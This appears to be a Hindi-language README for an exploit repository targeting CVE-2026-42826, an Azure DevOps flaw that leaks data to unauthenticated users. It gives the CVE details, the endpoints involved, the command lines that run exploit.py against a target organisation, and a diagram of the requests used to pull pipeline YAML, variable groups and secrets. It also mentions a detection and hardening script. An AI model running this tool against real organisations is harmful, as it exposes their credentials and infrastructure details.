
CVE-2026-42826 का शोषण करके बिना प्रमाणीकरण वाले REST API अनुरोधों के माध्यम से संवेदनशील Azure DevOps डेटा: पाइपलाइन YAML, वेरिएबल ग्रुप, सर्विस कनेक्शन और बिल्ड लॉग को सूचीबद्ध और निकालता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 गंभीर (Microsoft) / 7.5 उच्च (NVD) |
| CWE | CWE-200 (अनधिकृत अभिनेता को संवेदनशील जानकारी का प्रकटीकरण) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| प्रभावित | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| पैच किया गया | Azure DevOps Server 2026.0.1+ (सेवाएँ सर्वर-साइड पर पैच की गईं) |
| खोजकर्ता | Noa Royzman (Microsoft) |
Azure DevOps कुछ शर्तों के तहत अनधिकृत HTTP अनुरोधों को पाइपलाइन कॉन्फ़िगरेशन, वेरिएबल समूह सामग्री और बिल्ड आर्टिफैक्ट्स की सेवा दे सकता है। एक दूरस्थ हमलावर Azure DevOps REST API को विशेष रूप से तैयार किए गए अनुरोध भेजता है और उसे JSON प्रतिक्रियाएँ प्राप्त होती हैं जिनमें शामिल हैं:
कोई क्रेडेंशियल आवश्यक नहीं हैं जब लक्ष्य प्रोजेक्ट सार्वजनिक दृश्यता के लिए कॉन्फ़िगर किया गया हो, या जब कोई आंतरिक API एंडपॉइंट डेटा लौटाने से पहले प्रमाणीकरण जाँच लागू करने में विफल रहता है।
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
सार्वजनिक प्रोजेक्ट सक्षम वाले संगठन रिपॉज़िटरी, पाइपलाइन, आर्टिफैक्ट्स और कार्य आइटम को बिना प्रमाणीकरण वाले इंटरनेट के सामने उजागर करते हैं।
विशिष्ट आंतरिक API एंडपॉइंट्स संवेदनशील डेटा लौटाने से पहले प्रमाणीकरण जाँच लागू करने में विफल रहते हैं।
सार्वजनिक प्रोजेक्ट पाइपलाइन YAML फ़ाइलें सेवा कनेक्शनों और वेरिएबल समूहों का नाम से संदर्भ देती हैं, जिससे Azure सब्सक्रिप्शन संरचना, डिप्लॉयमेंट लक्ष्य, रजिस्ट्री URL और पर्यावरण नाम प्रकट होते हैं।
सेवा कनेक्शन मेटाडेटा (Azure सब्सक्रिप्शन ID, टेनेंट ID, Kubernetes क्लस्टर ID) API के माध्यम से उजागर होता है।
गैर-गुप्त वेरिएबल मान UI में दिखाई देते हैं, API द्वारा लौटाए जाते हैं, और बिल्ड लॉग में मुद्रित होते हैं।
बिल्ड लॉग में संवेदनशील कॉन्फ़िगरेशन डेटा, पर्यावरण चर और इंफ्रास्ट्रक्चर विवरण हो सकते हैं।
| फ़ाइल | उद्देश्य |
|---|---|
exploit.py | मुख्य एक्सप्लॉइट — 6 हमले वेक्टर, गुप्त स्कैनिंग, रिपोर्ट निर्माण |
detect.py | Azure DevOps इंस्टेंस के लिए पहचान और सुरक्षा-सख्तीकरण जाँचकर्ता |
test_exploit.py | यूनिट परीक्षण (30+ परीक्षण सभी एक्सप्लॉइट कार्यक्षमता को मान्य करते हैं) |
| दस्तावेज़ | सामग्री |
|---|---|
| USAGE.md | चरण-दर-चरण निर्देशों के साथ विस्तृत उपयोग मार्गदर्शिका |
| DIAGRAM.md | संरचना आरेख और हमले के प्रवाह का विज़ुअलाइज़ेशन |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
पूर्ण आर्किटेक्चर आरेखों के लिए DIAGRAM.md देखें।
Code (Read) तक सीमित रखें, 90-दिन की समाप्ति के साथMIT